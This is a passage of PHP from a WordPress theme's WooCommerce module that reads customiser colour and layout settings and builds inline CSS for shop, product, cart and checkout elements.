$product_entry_cond_note_color = get_theme_mod( 'ocean_product_entry_cond_note_color', '#333' ); $product_entry_cond_note_color_hover = get_theme_mod( 'ocean_product_entry_cond_note_color_hover', '#52a7fe' ); $product_entry_hover_thumbnails_border_color = get_theme_mod( 'ocean_product_entry_hover_thumbnails_border_color', '#13aff0' ); $product_entry_hover_quickview_background = get_theme_mod( 'ocean_product_entry_hover_quickview_background', '#ffffff' ); $product_entry_hover_quickview_hover_background = get_theme_mod( 'ocean_product_entry_hover_quickview_hover_background', '#ffffff' ); $product_entry_hover_quickview_color = get_theme_mod( 'ocean_product_entry_hover_quickview_color', '#444444' ); $product_entry_hover_quickview_hover_color = get_theme_mod( 'ocean_product_entry_hover_quickview_hover_color', '#13aff0' ); $product_entry_hover_wishlist_background = get_theme_mod( 'ocean_product_entry_hover_wishlist_background', '#ffffff' ); $product_entry_hover_wishlist_hover_background = get_theme_mod( 'ocean_product_entry_hover_wishlist_hover_background', '#ffffff' ); $product_entry_hover_wishlist_color = get_theme_mod( 'ocean_product_entry_hover_wishlist_color', '#444444' ); $product_entry_hover_wishlist_hover_color = get_theme_mod( 'ocean_product_entry_hover_wishlist_hover_color', '#13aff0' ); $product_entry_addtocart_bg_color = get_theme_mod( 'ocean_product_entry_addtocart_bg_color' ); $product_entry_addtocart_bg_color_hover = get_theme_mod( 'ocean_product_entry_addtocart_bg_color_hover' ); $product_entry_addtocart_color = get_theme_mod( 'ocean_product_entry_addtocart_color', '#848494' ); $product_entry_addtocart_color_hover = get_theme_mod( 'ocean_product_entry_addtocart_color_hover', '#13aff0' ); $product_entry_addtocart_border_color = get_theme_mod( 'ocean_product_entry_addtocart_border_color', '#e4e4e4' ); $product_entry_addtocart_border_color_hover = get_theme_mod( 'ocean_product_entry_addtocart_border_color_hover', '#13aff0' ); $product_entry_addtocart_border_style = get_theme_mod( 'ocean_product_entry_addtocart_border_style', 'double' ); $product_entry_addtocart_border_size = get_theme_mod( 'ocean_product_entry_addtocart_border_size' ); $product_entry_addtocart_border_radius = get_theme_mod( 'ocean_product_entry_addtocart_border_radius' ); $quick_view_button_bg = get_theme_mod( 'ocean_woo_quick_view_button_bg', 'rgba(0,0,0,0.6)' ); $quick_view_button_hover_bg = get_theme_mod( 'ocean_woo_quick_view_button_hover_bg', 'rgba(0,0,0,0.9)' ); $quick_view_button_color = get_theme_mod( 'ocean_woo_quick_view_button_color', '#ffffff' ); $quick_view_button_hover_color = get_theme_mod( 'ocean_woo_quick_view_button_hover_color', '#ffffff' ); $quick_view_overlay_bg = get_theme_mod( 'ocean_woo_quick_view_overlay_bg', 'rgba(0,0,0,0.15)' ); $quick_view_overlay_spinner_outside_color = get_theme_mod( 'ocean_woo_quick_view_overlay_spinner_outside_color', 'rgba(0,0,0,0.1)' ); $quick_view_overlay_spinner_inner_color = get_theme_mod( 'ocean_woo_quick_view_overlay_spinner_inner_color', '#ffffff' ); $quick_view_modal_bg = get_theme_mod( 'ocean_woo_quick_view_modal_bg', '#ffffff' ); $quick_view_modal_close_color = get_theme_mod( 'ocean_woo_quick_view_modal_close_color', '#333333' ); $off_canvas_sidebar_bg = get_theme_mod( 'ocean_woo_off_canvas_sidebar_bg', '#ffffff' ); $off_canvas_sidebar_widgets_border = get_theme_mod( 'ocean_woo_off_canvas_sidebar_widgets_border', 'rgba(84,84,84,0.15)' ); $single_product_title_color = get_theme_mod( 'ocean_single_product_title_color', '#333333' ); $single_product_price_color = get_theme_mod( 'ocean_single_product_price_color', '#57bf6d' ); $single_product_del_price_color = get_theme_mod( 'ocean_single_product_del_price_color', '#555555' ); $single_product_description_color = get_theme_mod( 'ocean_single_product_description_color', '#aaaaaa' ); $single_product_meta_title_color = get_theme_mod( 'ocean_single_product_meta_title_color', '#333333' ); $single_product_meta_link_color = get_theme_mod( 'ocean_single_product_meta_link_color', '#aaaaaa' ); $single_product_meta_link_color_hover = get_theme_mod( 'ocean_single_product_meta_link_color_hover', '#13aff0' ); $single_product_cond_notice_color = get_theme_mod( 'ocean_single_cond_note_color', '#333333' ); $single_product_cond_notice_color_hover = get_theme_mod( 'ocean_single_cond_note_color_hover', '#52a7fe' ); $single_product_navigation_border_radius = get_theme_mod( 'ocean_single_product_navigation_border_radius', '30' ); $single_product_navigation_bg = get_theme_mod( 'ocean_single_product_navigation_bg' ); $single_product_navigation_hover_bg = get_theme_mod( 'ocean_single_product_navigation_hover_bg', '#13aff0' ); $single_product_navigation_color = get_theme_mod( 'ocean_single_product_navigation_color', '#333333' ); $single_product_navigation_hover_color = get_theme_mod( 'ocean_single_product_navigation_hover_color', '#ffffff' ); $single_product_navigation_border_color = get_theme_mod( 'ocean_single_product_navigation_border_color', '#e9e9e9' ); $single_product_navigation_hover_border_color = get_theme_mod( 'ocean_single_product_navigation_hover_border_color', '#13aff0' ); $single_product_addtocart_bg_color = get_theme_mod( 'ocean_single_product_addtocart_bg_color' ); $single_product_addtocart_bg_color_hover = get_theme_mod( 'ocean_single_product_addtocart_bg_color_hover' ); $single_product_addtocart_color = get_theme_mod( 'ocean_single_product_addtocart_color' ); $single_product_addtocart_color_hover = get_theme_mod( 'ocean_single_product_addtocart_color_hover' ); $single_product_addtocart_border_color = get_theme_mod( 'ocean_single_product_addtocart_border_color' ); $single_product_addtocart_border_color_hover = get_theme_mod( 'ocean_single_product_addtocart_border_color_hover' ); $single_product_addtocart_border_style = get_theme_mod( 'ocean_single_product_addtocart_border_style' ); $single_product_addtocart_border_size = get_theme_mod( 'ocean_single_product_addtocart_border_size' ); $single_product_addtocart_border_radius = get_theme_mod( 'ocean_single_product_addtocart_border_radius' ); $single_product_tabs_borders_color = get_theme_mod( 'ocean_single_product_tabs_borders_color', '#e9e9e9' ); $single_product_tabs_text_color = get_theme_mod( 'ocean_single_product_tabs_text_color', '#999999' ); $single_product_tabs_text_color_hover = get_theme_mod( 'ocean_single_product_tabs_text_color_hover', '#13aff0' ); $single_product_tabs_active_text_color = get_theme_mod( 'ocean_single_product_tabs_active_text_color', '#13aff0' ); $single_product_tabs_active_text_borders_color = get_theme_mod( 'ocean_single_product_tabs_active_text_borders_color', '#13aff0' ); $single_product_tabs_product_desc_title_color = get_theme_mod( 'ocean_single_product_tabs_product_description_title_color', '#333333' ); $single_product_tabs_product_desc_color = get_theme_mod( 'ocean_single_product_tabs_product_description_color', '#929292' ); $account_login_register_color = get_theme_mod( 'ocean_account_login_register_color', '#333333' ); $account_nav_borders_color = get_theme_mod( 'ocean_account_navigation_borders_color', '#e9e9e9' ); $account_nav_icons_color = get_theme_mod( 'ocean_account_navigation_icons_color', '#13aff0' ); $account_nav_links_color = get_theme_mod( 'ocean_account_navigation_links_color', '#333333' ); $account_nav_links_color_hover = get_theme_mod( 'ocean_account_navigation_links_color_hover', '#13aff0' ); $account_addresses_bg = get_theme_mod( 'ocean_account_addresses_bg', '#f6f6f6' ); $account_addresses_title_color = get_theme_mod( 'ocean_account_addresses_title_color', '#333333' ); $account_addresses_title_border_color = get_theme_mod( 'ocean_account_addresses_title_border_color', '#ffffff' ); $account_addresses_content_color = get_theme_mod( 'ocean_account_addresses_content_color', '#898989' ); $account_addresses_button_bg = get_theme_mod( 'ocean_account_addresses_button_bg', '#ffffff' ); $account_addresses_button_bg_hover = get_theme_mod( 'ocean_account_addresses_button_bg_hover', '#f8f8f8' ); $account_addresses_button_color = get_theme_mod( 'ocean_account_addresses_button_color', '#898989' ); $account_addresses_button_color_hover = get_theme_mod( 'ocean_account_addresses_button_color_hover', '#555555' ); $cart_borders_color = get_theme_mod( 'ocean_cart_borders_color', '#e9e9e9' ); $cart_head_bg = get_theme_mod( 'ocean_cart_head_bg', '#f7f7f7' ); $cart_head_titles_color = get_theme_mod( 'ocean_cart_head_titles_color', '#444444' ); $cart_totals_table_titles_color = get_theme_mod( 'ocean_cart_totals_table_titles_color', '#444444' ); $cart_remove_button_color = get_theme_mod( 'ocean_cart_remove_button_color', '#bbbbbb' ); $cart_remove_button_color_hover = get_theme_mod( 'ocean_cart_remove_button_color_hover', '#333333' ); $checkout_notices_borders_color = get_theme_mod( 'ocean_checkout_notices_borders_color', '#e9e9e9' ); $checkout_notices_icon_color = get_theme_mod( 'ocean_checkout_notices_icon_color', '#dddddd' ); $checkout_notices_color = get_theme_mod( 'ocean_checkout_notices_color', '#777777' ); $checkout_notices_link_color = get_theme_mod( 'ocean_checkout_notices_link_color', '#13aff0' ); $checkout_notices_link_color_hover = get_theme_mod( 'ocean_checkout_notices_link_color_hover', '#333333' ); $checkout_notices_form_border_color = get_theme_mod( 'ocean_checkout_notices_form_border_color', '#e9e9e9' ); $checkout_titles_color = get_theme_mod( 'ocean_checkout_titles_color', '#333333' ); $checkout_titles_border_bottom_color = get_theme_mod( 'ocean_checkout_titles_border_bottom_color', '#e9e9e9' ); $checkout_table_main_bg = get_theme_mod( 'ocean_checkout_table_main_bg', '#f7f7f7' ); $checkout_table_titles_color = get_theme_mod( 'ocean_checkout_table_titles_color', '#444444' ); $checkout_table_borders_color = get_theme_mod( 'ocean_checkout_table_borders_color', '#e9e9e9' ); $checkout_payment_methods_bg = get_theme_mod( 'ocean_checkout_payment_methods_bg', '#f8f8f8' ); $checkout_payment_methods_borders_color = get_theme_mod( 'ocean_checkout_payment_methods_borders_color', '#e9e9e9' ); $checkout_payment_box_bg = get_theme_mod( 'ocean_checkout_payment_box_bg', '#ffffff' ); $checkout_payment_box_color = get_theme_mod( 'ocean_checkout_payment_box_color', '#515151' ); // Both sidebars shop page layout $archives_layout = get_theme_mod( 'ocean_woo_shop_layout', 'left-sidebar' ); $bs_archives_content_width = get_theme_mod( 'ocean_woo_shop_both_sidebars_content_width' ); $bs_archives_sidebars_width = get_theme_mod( 'ocean_woo_shop_both_sidebars_sidebars_width' ); // Both sidebars single product layout $single_layout = get_theme_mod( 'ocean_woo_product_layout', 'left-sidebar' ); $bs_single_content_width = get_theme_mod( 'ocean_woo_product_both_sidebars_content_width' ); $bs_single_sidebars_width = get_theme_mod( 'ocean_woo_product_both_sidebars_sidebars_width' ); $store_notice_bg_color = get_theme_mod( 'ocean_woo_store_notice_bg_color', '#3d9cd2' ); $store_notice_bg_dismiss_color = get_theme_mod( 'ocean_woo_store_notice_dismiss_bg_color', '#0000001a' ); $store_notice_dismiss_text_hover_color = get_theme_mod( 'ocean_woo_store_notice_dismiss_text_hover_color', '#f4dc00' ); // Define css var $css = ''; // Store notice style. if ( ! empty( $store_notice_bg_color ) && '#3d9cd2' != $store_notice_bg_color ) { $css .= '.woocommerce-store-notice.demo_store{background-color:'. $store_notice_bg_color .';}'; } if ( ! empty( $store_notice_bg_dismiss_color ) && '#0000001a' != $store_notice_bg_dismiss_color ) { $css .= '.demo_store .woocommerce-store-notice__dismiss-link{background-color:'. $store_notice_bg_dismiss_color .';}'; } if ( ! empty( $store_notice_dismiss_text_hover_color ) && '#f4dc00' != $store_notice_dismiss_text_hover_color ) { $css .= '.demo_store .woocommerce-store-notice__dismiss-link:hover{color:'. $store_notice_dismiss_text_hover_color .';}'; } // Menu cart icon size if ( ! empty( $menu_icon_size ) ) { $css .= '.wcmenucart i{font-size:'. $menu_icon_size .'px;}'; $css .= '.wcmenucart .owp-icon{width:'. $menu_icon_size .'px; height:'. $menu_icon_size .'px;}'; } // Menu cart icon size tablet if ( ! empty( $menu_icon_size_tablet ) ) { $css .= '@media (max-width: 768px){.oceanwp-mobile-menu-icon a.wcmenucart{font-size:'. $menu_icon_size_tablet .'px;}}'; $css .= '@media (max-width: 768px){.oceanwp-mobile-menu-icon a.wcmenucart .owp-icon{width:'. $menu_icon_size_tablet .'px; height:'. $menu_icon_size_tablet .'px;}}'; } // Menu cart icon size mobile if ( ! empty( $menu_icon_size_mobile ) ) { $css .= '@media (max-width: 480px){.oceanwp-mobile-menu-icon a.wcmenucart{font-size:'. $menu_icon_size_mobile .'px;}}'; $css .= '@media (max-width: 480px){.oceanwp-mobile-menu-icon a.wcmenucart .owp-icon{width:'. $menu_icon_size_mobile .'px; height:'. $menu_icon_size_mobile .'px;}}'; } // Menu cart icon center vertically if ( ! empty( $menu_icon_center_vertically ) ) { $css .= '.wcmenucart i{top:'. $menu_icon_center_vertically .'px;}'; } // Menu cart icon center vertically tablet if ( ! empty( $menu_icon_center_vertically_tablet ) ) { $css .= '@media (max-width: 768px){.oceanwp-mobile-menu-icon a.wcmenucart{top:'. $menu_icon_center_vertically_tablet .'px;}}'; } // Menu cart icon center vertically mobile if ( ! empty( $menu_icon_center_vertically_mobile ) ) { $css .= '@media (max-width: 480px){.oceanwp-mobile-menu-icon a.wcmenucart{top:'. $menu_icon_center_vertically_mobile .'px;}}'; } // Cart dropdown width if ( ! empty( $cart_dropdown_width ) && '350' != $cart_dropdown_width ) { $css .= '.current-shop-items-dropdown{width:'. $cart_dropdown_width .'px;}'; } // Bag icon style color if ( ! empty( $woo_menu_bag_icon_color ) && '#333333' != $woo_menu_bag_icon_color ) { $css .= '.wcmenucart-cart-icon .wcmenucart-count{border-color:'. $woo_menu_bag_icon_color .';}'; $css .= '.wcmenucart-cart-icon .wcmenucart-count:after{border-color:'. $woo_menu_bag_icon_color .';}'; } // Bag icon style hover color if ( ! empty( $woo_menu_bag_icon_hover_color ) && '#13aff0' != $woo_menu_bag_icon_hover_color ) { $css .= '.bag-style:hover .wcmenucart-cart-icon .wcmenucart-count, .show-cart .wcmenucart-cart-icon .wcmenucart-count{background-color:'. $woo_menu_bag_icon_hover_color .'; border-color:'. $woo_menu_bag_icon_hover_color .';}'; $css .= '.bag-style:hover .wcmenucart-cart-icon .wcmenucart-count:after, .show-cart .wcmenucart-cart-icon .wcmenucart-count:after{border-color:'. $woo_menu_bag_icon_hover_color .';}'; } // Bag icon style count color if ( ! empty( $woo_menu_bag_icon_count_color ) && '#333333' != $woo_menu_bag_icon_count_color ) { $css .= '.wcmenucart-cart-icon .wcmenucart-count, .woo-menu-icon .wcmenucart-total span{color:'. $woo_menu_bag_icon_count_color .';}'; } // Bag icon style hover count color if ( ! empty( $woo_menu_bag_icon_hover_count_color ) && '#ffffff' != $woo_menu_bag_icon_hover_count_color ) { $css .= '.bag-style:hover .wcmenucart-cart-icon .wcmenucart-count, .show-cart .wcmenucart-cart-icon .wcmenucart-count{color:'. $woo_menu_bag_icon_hover_count_color .';}'; } // Cart dropdown background if ( ! empty( $cart_dropdown_bg ) && '#ffffff' != $cart_dropdown_bg ) { $css .= '.current-shop-items-dropdown{background-color:'. $cart_dropdown_bg .';}'; } // Cart dropdown borders if ( ! empty( $cart_dropdown_borders ) && '#e6e6e6' != $cart_dropdown_borders ) { $css .= '.widget_shopping_cart ul.cart_list li .owp-grid-wrap .owp-grid.thumbnail, .widget_shopping_cart ul.cart_list li, .woocommerce ul.product_list_widget li:first-child, .widget_shopping_cart .total{border-color:'. $cart_dropdown_borders .';}'; } // Cart dropdown link color if ( ! empty( $cart_dropdown_link_color ) && '#333333' != $cart_dropdown_link_color ) { $css .= '.widget_shopping_cart ul.cart_list li .owp-grid-wrap .owp-grid a{color:'. $cart_dropdown_link_color .';}'; } // Cart dropdown link hover color if ( ! empty( $cart_dropdown_link_color_hover ) && '#13aff0' != $cart_dropdown_link_color_hover ) { $css .= '.widget_shopping_cart ul.cart_list li .owp-grid-wrap .owp-grid a:hover{color:'. $cart_dropdown_link_color_hover .';}'; } // Cart dropdown remove link color if ( ! empty( $cart_dropdown_remove_link_color ) && '#b3b3b3' != $cart_dropdown_remove_link_color ) { $css .= '.widget_shopping_cart ul.cart_list li .owp-grid-wrap .owp-grid a.remove{color:'. $cart_dropdown_remove_link_color .';border-color:'. $cart_dropdown_remove_link_color .';}'; } // Cart dropdown remove link hover color if ( ! empty( $cart_dropdown_remove_link_color_hover ) && '#13aff0' != $cart_dropdown_remove_link_color_hover ) { $css .= '.widget_shopping_cart ul.cart_list li .owp-grid-wrap .owp-grid a.remove:hover{color:'. $cart_dropdown_remove_link_color_hover .';border-color:'. $cart_dropdown_remove_link_color_hover .';}'; } // Cart dropdown quantity color if ( ! empty( $cart_dropdown_quantity_color ) && '#b2b2b2' != $cart_dropdown_quantity_color ) { $css .= '.widget_shopping_cart ul.cart_list li .owp-grid-wrap .owp-grid .quantity{color:'. $cart_dropdown_quantity_color .';}'; } // Cart dropdown price color if ( ! empty( $cart_dropdown_price_color ) && '#57bf6d' != $cart_dropdown_price_color ) { $css .= '.widget_shopping_cart ul.cart_list li .owp-grid-wrap .owp-grid .amount{color:'. $cart_dropdown_price_color .';}'; } // Cart dropdown subtotal background if ( ! empty( $cart_dropdown_subtotal_bg ) && '#fafafa' != $cart_dropdown_subtotal_bg ) { $css .= '.widget_shopping_cart .total{background-color:'. $cart_dropdown_subtotal_bg .';}'; } // Cart dropdown subtotal color if ( ! empty( $cart_dropdown_subtotal_color ) && '#797979' != $cart_dropdown_subtotal_color ) { $css .= '.widget_shopping_cart .total strong{color:'. $cart_dropdown_subtotal_color .';}'; } // Cart dropdown total price color if ( ! empty( $cart_dropdown_total_price_color ) && '#57bf6d' != $cart_dropdown_total_price_color ) { $css .= '.widget_shopping_cart .total .amount{color:'. $cart_dropdown_total_price_color .';}'; } // Cart dropdown cart button background color if ( ! empty( $cart_dropdown_cart_button_bg ) ) { $css .= '.widget_shopping_cart_content .buttons .button:first-child{background-color:'. $cart_dropdown_cart_button_bg .';}'; } // Cart dropdown cart button hover background color if ( ! empty( $cart_dropdown_cart_button_hover_bg ) ) { $css .= '.widget_shopping_cart_content .buttons .button:first-child:hover{background-color:'. $cart_dropdown_cart_button_hover_bg .';}'; } // Cart dropdown cart button color if ( ! empty( $cart_dropdown_cart_button_color ) ) { $css .= '.widget_shopping_cart_content .buttons .button:first-child{color:'. $cart_dropdown_cart_button_color .';}'; } // Cart dropdown cart button hover color if ( ! empty( $cart_dropdown_cart_button_hover_color ) ) { $css .= '.widget_shopping_cart_content .buttons .button:first-child:hover{color:'. $cart_dropdown_cart_button_hover_color .';}'; } // Cart dropdown cart button border color if ( ! empty( $cart_dropdown_cart_button_border_color ) ) { $css .= '.widget_shopping_cart_content .buttons .button:first-child{border-color:'. $cart_dropdown_cart_button_border_color .';}'; } // Cart dropdown cart button hover border color if ( ! empty( $cart_dropdown_cart_button_hover_border_color ) ) { $css .= '.widget_shopping_cart_content .buttons .button:first-child:hover{border-color:'. $cart_dropdown_cart_button_hover_border_color .';}'; } // Cart dropdown checkout button background color if ( ! empty( $cart_dropdown_checkout_button_bg ) ) { $css .= '.widget_shopping_cart_content .buttons .checkout{background-color:'. $cart_dropdown_checkout_button_bg .';}'; } // Cart dropdown checkout button hover background color if ( ! empty( $cart_dropdown_checkout_button_hover_bg ) ) { $css .= '.widget_shopping_cart_content .buttons .checkout:hover{background-color:'. $cart_dropdown_checkout_button_hover_bg .';}'; } // Cart dropdown checkout button color if ( ! empty( $cart_dropdown_checkout_button_color ) ) { $css .= '.widget_shopping_cart_content .buttons .checkout{color:'. $cart_dropdown_checkout_button_color .';}'; } // Cart dropdown checkout button hover color if ( ! empty( $cart_dropdown_checkout_button_hover_color ) ) { $css .= '.widget_shopping_cart_content .buttons .checkout:hover{color:'. $cart_dropdown_checkout_button_hover_color .';}'; } // Cart dropdown checkout button border color if ( ! empty( $cart_dropdown_checkout_button_border_color ) ) { $css .= '.widget_shopping_cart_content .buttons .checkout{border: solid 1px '. $cart_dropdown_checkout_button_border_color .';}'; } // Cart dropdown checkout button border hover color if ( ! empty( $cart_dropdown_checkout_button_border_hover_color ) ) { $css .= '.widget_shopping_cart_content .buttons .checkout:hover{border: solid 1px '. $cart_dropdown_checkout_button_border_hover_color .';}'; } // Mobile cart sidebar background color if ( ! empty( $woo_mobile_cart_sidebar_bg ) && '#ffffff' != $woo_mobile_cart_sidebar_bg ) { $css .= '#oceanwp-cart-sidebar-wrap .oceanwp-cart-sidebar{background-color:'. $woo_mobile_cart_sidebar_bg .';}'; } // Mobile cart sidebar background color if ( ! empty( $woo_mobile_cart_sidebar_close_button_color ) && '#000000' != $woo_mobile_cart_sidebar_close_button_color ) { $css .= '#oceanwp-cart-sidebar-wrap .oceanwp-cart-close .close-wrap>div, #oceanwp-cart-sidebar-wrap .oceanwp-cart-close .close-wrap>div:before{background-color:'. $woo_mobile_cart_sidebar_close_button_color .';}'; } // Mobile cart sidebar background color if ( ! empty( $woo_mobile_cart_sidebar_title_color ) && '#555555' != $woo_mobile_cart_sidebar_title_color ) { $css .= '#oceanwp-cart-sidebar-wrap h4{color:'. $woo_mobile_cart_sidebar_title_color .';}'; } // Mobile cart sidebar background color if ( ! empty( $woo_mobile_cart_sidebar_divider_color ) && 'rgba(0,0,0,0.1)' != $woo_mobile_cart_sidebar_divider_color ) { $css .= '#oceanwp-cart-sidebar-wrap .divider{background-color:'. $woo_mobile_cart_sidebar_divider_color .';}'; } // Off canvas close button color if ( ! empty( $off_canvas_close_button_color ) && '#333333' != $off_canvas_close_button_color ) { $css .= '.oceanwp-off-canvas-close svg{fill:'. $off_canvas_close_button_color .';}'; } // Off canvas close button hover color if ( ! empty( $off_canvas_close_button_hover_color ) && '#777777' != $off_canvas_close_button_hover_color ) { $css .= '.oceanwp-off-canvas-close:hover svg{fill:'. $off_canvas_close_button_hover_color .';}'; } // Infinite scroll spinners color if ( ! empty( $infinite_scroll_spinners_color ) && '#333333' != $infinite_scroll_spinners_color ) { $css .= '.woocommerce .loader-ellips__dot{background-color:'. $infinite_scroll_spinners_color .';}'; } // Product image width if ( ! empty( $woo_product_image_width ) && '52' != $woo_product_image_width ) { $css .= '.woocommerce div.product div.images, .woocommerce.content-full-width div.product div.images{width:'. $woo_product_image_width .'%;}'; } // Product summary width if ( ! empty( $woo_product_summary_width ) && '44' != $woo_product_summary_width ) { $css .= '.woocommerce div.product div.summary, .woocommerce.content-full-width div.product div.summary{width:'. $woo_product_summary_width .'%;}'; } // Add floating bar background if ( ! empty( $floating_bar_bg ) && '#2c2c2c' != $floating_bar_bg ) { $css .= '.owp-floating-bar{background-color:'. $floating_bar_bg .';}'; } // Add floating bar title color if ( ! empty( $floating_bar_title_color ) && '#ffffff' != $floating_bar_title_color ) { $css .= '.owp-floating-bar p.selected, .owp-floating-bar h2.entry-title{color:'. $floating_bar_title_color .';}'; } // Add floating bar price color if ( ! empty( $floating_bar_price_color ) && '#ffffff' != $floating_bar_price_color ) { $css .= '.owp-floating-bar .product_price del .amount, .owp-floating-bar .product_price .amount, .owp-floating-bar .out-of-stock{color:'. $floating_bar_price_color .';}'; } // Add floating bar quantity buttons background if ( ! empty( $floating_bar_quantity_buttons_bg ) && 'rgba(255,255,255,0.1)' != $floating_bar_quantity_buttons_bg ) { $css .= '.owp-floating-bar form.cart .quantity .minus, .owp-floating-bar form.cart .quantity .plus{background-color:'. $floating_bar_quantity_buttons_bg .';}'; } // Add floating bar quantity buttons hover background if ( ! empty( $floating_bar_quantity_buttons_hover_bg ) && 'rgba(255,255,255,0.2)' != $floating_bar_quantity_buttons_hover_bg ) { $css .= '.owp-floating-bar form.cart .quantity .minus:hover, .owp-floating-bar form.cart .quantity .plus:hover{background-color:'. $floating_bar_quantity_buttons_hover_bg .';}'; } // Add floating bar quantity buttons color if ( ! empty( $floating_bar_quantity_buttons_color ) && '#ffffff' != $floating_bar_quantity_buttons_color ) { $css .= '.owp-floating-bar form.cart .quantity .minus, .owp-floating-bar form.cart .quantity .plus{color:'. $floating_bar_quantity_buttons_color .';}'; } // Add floating bar quantity buttons hover color if ( ! empty( $floating_bar_quantity_buttons_hover_color ) && '#ffffff' != $floating_bar_quantity_buttons_hover_color ) { $css .= '.owp-floating-bar form.cart .quantity .minus:hover, .owp-floating-bar form.cart .quantity .plus:hover{color:'. $floating_bar_quantity_buttons_hover_color .';}'; } // Add floating bar quantity input background if ( ! empty( $floating_bar_quantity_input_bg ) && 'rgba(255,255,255,0.2)' != $floating_bar_quantity_input_bg ) { $css .= '.owp-floating-bar form.cart .quantity .qty{background-color:'. $floating_bar_quantity_input_bg .';}'; } // Add floating bar quantity input color if ( ! empty( $floating_bar_quantity_input_color ) && '#ffffff' != $floating_bar_quantity_input_color ) { $css .= '.owp-floating-bar form.cart .quantity .qty{color:'. $floating_bar_quantity_input_color .';}'; } // Add add to cart background if ( ! empty( $floating_bar_addtocart_bg ) && '#ffffff' != $floating_bar_addtocart_bg ) { $css .= '.owp-floating-bar button.button{background-color:'. $floating_bar_addtocart_bg .';}'; } // Add add to cart hover background if ( ! empty( $floating_bar_addtocart_hover_bg ) && '#f1f1f1' != $floating_bar_addtocart_hover_bg ) { $css .= '.owp-floating-bar button.button:hover, .owp-floating-bar button.button:focus{background-color:'. $floating_bar_addtocart_hover_bg .';}'; } // Add add to cart color if ( ! empty( $floating_bar_addtocart_color ) && '#000000' != $floating_bar_addtocart_color ) { $css .= '.owp-floating-bar button.button{color:'. $floating_bar_addtocart_color .';}'; } // Add add to cart hover color if ( ! empty( $floating_bar_addtocart_hover_color ) && '#000000' != $floating_bar_addtocart_hover_color ) { $css .= '.owp-floating-bar button.button:hover, .owp-floating-bar button.button:focus{color:'. $floating_bar_addtocart_hover_color .';}'; } // Add checkout timeline bg if ( ! empty( $checkout_timeline_bg ) && '#eeeeee' != $checkout_timeline_bg ) { $css .= '#owp-checkout-timeline .timeline-wrapper{background-color:'. $checkout_timeline_bg .';}#owp-checkout-timeline.arrow .timeline-wrapper:before{border-top-color:'. $checkout_timeline_bg .'; border-bottom-color:'. $checkout_timeline_bg .';}#owp-checkout-timeline.arrow .timeline-wrapper:after{border-left-color:'. $checkout_timeline_bg .'; border-right-color:'. $checkout_timeline_bg .';}'; } // Add checkout timeline color if ( ! empty( $checkout_timeline_color ) && '#333333' != $checkout_timeline_color ) { $css .= '#owp-checkout-timeline .timeline-wrapper{color:'. $checkout_timeline_color .';}'; } // Add checkout timeline number background color if ( ! empty( $checkout_timeline_number_bg ) && '#ffffff' != $checkout_timeline_number_bg ) { $css .= '#owp-checkout-timeline .timeline-step{background-color:'. $checkout_timeline_number_bg .';}'; } // Add checkout timeline number color if ( ! empty( $checkout_timeline_number_color ) && '#ffffff' != $checkout_timeline_number_color ) { $css .= '#owp-checkout-timeline .timeline-step{color:'. $checkout_timeline_number_color .';}'; } // Add checkout timeline number border color if ( ! empty( $checkout_timeline_number_border_color ) && '#ffffff' != $checkout_timeline_number_border_color ) { $css .= '#owp-checkout-timeline .timeline-step{border-color:'. $checkout_timeline_number_border_color .';}'; } // Add checkout timeline active background color if ( ! empty( $checkout_timeline_active_bg ) && '#13aff0' != $checkout_timeline_active_bg ) { $css .= '#owp-checkout-timeline .active .timeline-wrapper{background-color:'. $checkout_timeline_active_bg .';}#owp-checkout-timeline.arrow .active .timeline-wrapper:before{border-top-color:'. $checkout_timeline_active_bg .'; border-bottom-color:'. $checkout_timeline_active_bg .';}#owp-checkout-timeline.arrow .active .timeline-wrapper:after{border-left-color:'. $checkout_timeline_active_bg .'; border-right-color:'. $checkout_timeline_active_bg .';}'; } // Add checkout timeline active color if ( ! empty( $checkout_timeline_active_color ) && '#ffffff' != $checkout_timeline_active_color ) { $css .= '#owp-checkout-timeline .active .timeline-wrapper{color:'. $checkout_timeline_active_color .';}'; } // Add onsale bg if ( ! empty( $onsale_bg ) && '#3FC387' != $onsale_bg ) { $css .= '.woocommerce span.onsale{background-color:'. $onsale_bg .';}'; } // Add onsale color if ( ! empty( $onsale_color ) && '#ffffff' != $onsale_color ) { $css .= '.woocommerce span.onsale{color:'. $onsale_color .';}'; } // Add out of stock bg if ( ! empty( $outofstock_bg ) && '#000000' != $outofstock_bg ) { $css .= '.woocommerce ul.products li.product.outofstock .outofstock-badge{background-color:'. $outofstock_bg .';}'; } // Add out of stock color if ( ! empty( $outofstock_color ) && '#ffffff' != $outofstock_color ) { $css .= '.woocommerce ul.products li.product.outofstock .outofstock-badge{color:'. $outofstock_color .';}'; } // Add stars color before if ( ! empty( $stars_color_before ) && '#dfdbdf' != $stars_color_before ) { $css .= '.woocommerce .star-rating:before{color:'. $stars_color_before .';}'; } // Add stars color if ( ! empty( $stars_color ) && '#f9ca63' != $stars_color ) { $css .= '.woocommerce .star-rating span, .woocommerce .star-rating span:before{color:'. $stars_color .';}'; } // Add quantity border color if ( ! empty( $quantity_border_color ) && '#e4e4e4' != $quantity_border_color ) { $css .= '.quantity .qty,.quantity .qty-changer a{border-color:'. $quantity_border_color .';}'; } // Add quantity border color focus if ( ! empty( $quantity_border_color_focus ) && '#bbbbbb' != $quantity_border_color_focus ) { $css .= 'body .quantity .qty:focus{border-color:'. $quantity_border_color_focus .';}'; } // Add quantity color if ( ! empty( $quantity_color ) && '#777777' != $quantity_color ) { $css .= '.quantity .qty{color:'. $quantity_color .';}'; } // Add quantity plus/minus color if ( ! empty( $quantity_plus_minus_color ) && '#cccccc' != $quantity_plus_minus_color ) { $css .= '.quantity .qty-changer a{color:'. $quantity_plus_minus_color .';}'; } // Add quantity plus/minus color hover if ( ! empty( $quantity_plus_minus_color_hover ) && '#cccccc' != $quantity_plus_minus_color_hover ) { $css .= '.quantity .qty-changer a:hover{color:'. $quantity_plus_minus_color_hover .';}'; } // Add quantity plus/minus border color hover if ( ! empty( $quantity_plus_minus_border_color_hover ) && '#e0e0e0' != $quantity_plus_minus_border_color_hover ) { $css .= '.quantity .qty-changer a:hover{border-color:'. $quantity_plus_minus_border_color_hover .';}'; } // Add toolbar border color if ( ! empty( $toolbar_border_color ) && '#eaeaea' != $toolbar_border_color ) { $css .= '.woocommerce .oceanwp-toolbar{border-color:'. $toolbar_border_color .';}'; } // Add toolbar off canvas filter color if ( ! empty( $toolbar_off_canvas_filter_color ) && '#999999' != $toolbar_off_canvas_filter_color ) { $css .= '.woocommerce .oceanwp-off-canvas-filter{color:'. 